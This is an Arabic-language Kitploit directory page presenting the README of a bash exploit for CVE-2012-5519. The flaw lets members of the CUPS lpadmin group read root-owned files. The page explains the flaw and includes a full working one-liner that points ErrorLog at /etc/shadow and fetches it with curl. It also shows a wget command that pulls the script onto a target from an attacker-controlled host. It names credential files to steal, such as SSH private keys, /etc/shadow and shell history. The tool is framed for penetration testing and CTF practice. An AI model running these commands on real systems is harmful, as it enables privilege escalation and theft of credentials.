Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2012-5519 — cups-root-file-read.sh | CVE-2012-5519 | Kitploit
أدوات/GitHubGitHub/p1ckzi/cve-2012-5519
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتCTFاختبار الاختراق
GitHubp1ckzi/cve-2012-5519

CVE-2012-5519

cups-root-file-read.sh | CVE-2012-5519

عرض المستودع
91منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

cups-root-file-read.sh ⭐

تنفيذ بلغة bash لوحدة metasploit 'cups_root_file_read.rb' المصممة لاختبار الاختراق وفعاليات CTF.
هو في الأساس تمرين قصير في كتابة سكربتات bash. صُمم ليكون برنامجًا مستقلًا بذاته يستغل CVE-2012-5519 على أنظمة لينكس؛
يوفر للمستخدم مطالبة تفاعلية، تتيح له قراءة ملفات مقيدة متعددة بسرعة.

الاستغلال - CVE-2012-5519 ❗

يستغل هذا السكريبت ثغرة في CUPS (نظام الطباعة الشائع في يونكس) < 1.6.2.
تسمح CUPS للمستخدمين ضمن مجموعة lpadmin بإجراء تغييرات على ملف cupsd.conf باستخدام أمر cupsctl.
يتيح هذا الأمر أيضًا للمستخدم تحديد مسار ErrorLog.
عندما يزور المستخدم الصفحة '/admin/log/error_log page'، يقرأ برنامج cupsd الخفي الذي يعمل بصلاحيات SUID للمستخدم root مسار ErrorLog ويعيده كنص عادي.
باختصار، يمكن قراءة الملفات المملوكة للمستخدم root إذا تم توجيه مسار ErrorLog إليها.

المتطلبات الأساسية ✔

يقوم السكريبت بعدد من الفحوصات قبل تسليم المطالبة للمستخدم؛ ومع ذلك، تشمل جميع المتطلبات ما يلي:

  • linux - تم اختبار السكريبت على لينكس فقط وقد لا يعمل على أنظمة تشغيل أخرى.
  • bash - السكريبت cups-root-file-read.sh مكتوب بلغة bash.
  • curl - (يتم التحقق منه داخل السكريبت) يُستخدم لطلب صفحة الويب. لا توجد حاليًا أوامر بديلة لتحليل HTTP مدمجة في السكريبت مثل wget أو nc بسبب ضيق الوقت.
  • vulnerable - (يتم التحقق منه داخل السكريبت) تُجرى بعض الفحوصات للتأكد من وجود الثغرة وما إذا كان المستخدم الحالي قادرًا على استغلالها، وبالتالي استخدام سكريبت الاستغلال. تشمل هذه الفحوصات كون المستخدم عضوًا في مجموعة 'lpadmin'، وما إذا كان أمر cupsctl متوفرًا، إلخ.

الاستخدام ℹ

من المفترض أن يُستخدم السكريبت لأغراض اختبار الاختراق وفعاليات CTF. ضع السكريبت على الجهاز الهدف. يمكن القيام بذلك بطرق مختلفة. إحدى الطرق الشائعة من الجهاز الهدف:

root@kitploit:~
wget http://[my ip]:[my port]/cups-root-file-read.sh

لا يتطلب cups-root-file-read.sh أي وسائط أو خيارات، لكنه يحتوي على خيارين اختياريين:

root@kitploit:~
./cups-root-file-read.sh -h

./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
        -a, --accessible: turns off features which may negatively affect
        screen readers.
        -h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
        1. /root/.ssh/id_rsa
        2. /root/.bash_history
        3. /etc/shadow etc...

شغّله باستخدام:

root@kitploit:~
bash cups-root-file-read.sh

أو

root@kitploit:~
chmod +x cups-root-file-read.sh

./cups-root-file-read.sh

أو إذا كنت تريد قراءة ملف واحد فقط:

root@kitploit:~
echo '/etc/shadow' | ./cups-root-file-read.sh

بعد اجتياز الفحوصات الأولية للوظيفة والثغرة، يُعرض على المستخدم مطالبة تتيح له كتابة مسار مطلق لملف موجود. ستتم طباعة محتويات كل ملف في الطرفية.

أفضل استخدام:

في حين يمكن استخدام السكريبت لاختبار الملفات المقيدة وقراءتها، إلا أنه يكون أكثر فائدة إذا كان المستخدم يعرف مسبقًا وجود ملفات مقيدة قد يرغب في الاطلاع عليها. على سبيل المثال:

  • /root/.ssh/id_rsa
  • /root/.bash_history
  • /etc/shadow
  • /etc/sudoers ... إلخ.

القيود ⚠

توجد بعض القيود على السكريبت والاستغلال. وعلى حد علمي، فإن وحدة 'cups_root_file_read.rb' الخاصة بـ metasploit تعاني أيضًا من هذه القيود نفسها.

المسافات البيضاء:

يجب أن يكون الإدخال من المستخدم مسارًا مطلقًا إلى ملف موجود يريد المستخدم عرضه، ويجب ألا يحتوي على مسافات بيضاء في أي مكان في الملف أو المسار. وذلك لأن أمر cupsctl لا يمكنه التعامل مع أحرف المسافات البيضاء بشكل صحيح حتى مع علامات الاقتباس (مثال: ErrorLog='/path to/file.txt') وسيفصل الإدخال عند أحرف المسافات البيضاء إلى توجيهات منفصلة، بقيمة منطقية 'true'.
المثال السابق، إذا تم إرساله، سيُكتب في ملف cupsd.conf على النحو التالي:

root@kitploit:~
ErrorLog=/path
to/file.txt=true

يؤدي هذا إلى ظهور أخطاء تُكتب في سجل الأخطاء، والتي قد تكون ملفات مهمة إذا تم تحديدها في مسار ErrorLog في محاولة ناجحة سابقة لقراءة ملف. لذلك، يتحقق السكريبت من المسافات البيضاء ويقوم بتصفيتها.


إرجاع رموز حالة 404:

على الرغم من الفحوصات للتأكد من أن المستخدم يُدخل شيئًا يشبه مسارًا مطلقًا وملفًا، لا يمكن اكتشاف جميع الأخطاء قبل تمريرها إلى الخادم مع أمر cupsctl:
يمكن قراءة الملفات الموجودة داخل الدليل الجذر (مثال: '/file.txt')، ولكن يمكن أيضًا إرسال الأدلة الشائعة في يونكس مثل '/tmp' و'/root' (سواء عن قصد أو بسبب خطأ من المستخدم). لا يوجد أي رصد لمثل هذه الأدلة النظامية وستقوم بإرجاع رموز حالة 404 من الخادم. يتم إعلام المستخدم بهذه الحالات.
الأدلة غير الموجودة المحددة في المسار (مثال: '/tmp/non-existent-directory/file.txt') ستؤدي أيضًا إلى إرجاع رمز حالة 404 من الخادم.


الملفات الفارغة:

محاولة عرض ملفات غير موجودة (مثال: '/root/non-existent-file.txt') ستؤدي إلى إنشائها كسجل أخطاء جديد. يتم إعلام المستخدم بذلك في المخرجات، وبأن الملف الفارغ ربما يكون قد أُنشئ بواسطة سكريبت الاستغلال إذا لم يكن موجودًا مسبقًا. هناك دائمًا احتمال أن تكون هذه الملفات الفارغة قد أُنشئت بواسطة مستخدم نظام لأي غرض في نفس الوقت تقريبًا الذي شُغّل فيه السكريبت، ولذلك لا يتم تنظيفها.

في حين أن لينكس يحتوي على أوامر لاختبار وجود ملف أو دليل، إلا أن هذه الميزة لم تُنفَّذ في السكريبت قبل تمرير إدخال المستخدم إلى أمر cupsctl، لأن أوامر الاختبار لا تعمل إذا كان الملف أو الدليل موجودًا في مكان محظور على المستخدم الحالي (مثال: '/root') لأسباب أمنية واضحة. وبما أن السكريبت مصمم لقراءة مثل هذه الملفات المحظورة، فإن مثل هذه الميزة ستكون عديمة الجدوى.


أخطاء cups:

قد تحدث أحيانًا أخطاء في cupsctl عند إجراء تغييرات، سواء يدويًا أو عبر cups-root-file-read.sh. بينما يعالج cups-root-file-read.sh إدخال المستخدم غير المعتاد وبعض الأخطاء، إلا أن أخطاء cupsctl هذه التي تحدث أثناء إجراء تغييرات على ملف cupsd.conf أو أثناء طلب صفحة الويب لا تتم معالجتها. سينهي cups-root-file-read.sh تشغيله ببساطة. في هذه الحالات، يمكن تشغيل السكريبت مرة أخرى والمحاولة من جديد.


ملاحظات 📝

كان السكريبت في الأساس تمرينًا في إنشاء برنامج قصير وشامل ومستقل بذاته لاستغلال واحد، مع مراعاة قابلية القراءة وإمكانية الوصول معًا.

يهدف السكريبت إلى اختبار وجود CVE-2012-5519 ثم قراءة عدة ملفات مقيدة بسرعة وسهولة أثناء الاستغلال. لهذا الغرض، أشعر أنه أسرع بشكل ملحوظ من وحدة metasploit ومن كتابة أمر يدوي وتعديله مرارًا وتكرارًا (آمل ذلك). ولكن بعد قولي هذا، إذا كان المستخدم يعلم أن الجهاز الهدف معرّض للثغرة، يمكن تحقيق النتيجة نفسها بشيء مثل:

root@kitploit:~
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

اعتبارًا من عام 2022، يبلغ عمر هذا الاستغلال 10 سنوات. إذا كان الجهاز الهدف قديمًا أيضًا، فمن المحتمل أن إصدارات الأوامر المختلفة المستخدمة داخل السكريبت لا تمتلك الوظائف التي تمتلكها الآن. قد ينطبق هذا أيضًا على إصدار bash. لسوء الحظ، كنت مقيدًا بالوقت ولم أتمكن من اختبار السكريبت في نطاق أوسع من البيئات. قد يكون أكثر فائدة لمسابقات CTF.

في الأصل كان من المقرر إنشاء السكريبت باستخدام python3، لكنني صادفت عددًا من المرات التي لم تكن فيها python2 وpython3 متاحتين للمستخدم بعد الحصول على وصول إلى النظام كمستخدم غير مميز. bash متاح دائمًا تقريبًا على نظام لينكس بالإضافة إلى أوامر لينكس الشائعة، لذلك بدا تنفيذ السكريبت بلغة bash هو الخيار الأكثر أمانًا.

يتم استخدام أوامر bash المدمجة قدر الإمكان، ومع ذلك يعتمد السكريبت على بعض الأوامر الخارجية مثل sort وhead وcurl (وبالطبع cupsctl المستخدم كجزء من الاستغلال). لا توجد حاليًا فحوصات لهذه الأوامر ولا يوجد بديل بسبب ضيق الوقت. سيفشل السكريبت إذا لم تكن هذه الأوامر متاحة :(

الاعتمادات 👍

https://argbash.io - للمساعدة في وسائط السكريبت الأولية.
https://skerritt.blog/a11y/ - تنفيذ إمكانية الوصول.

تنزيل الأداة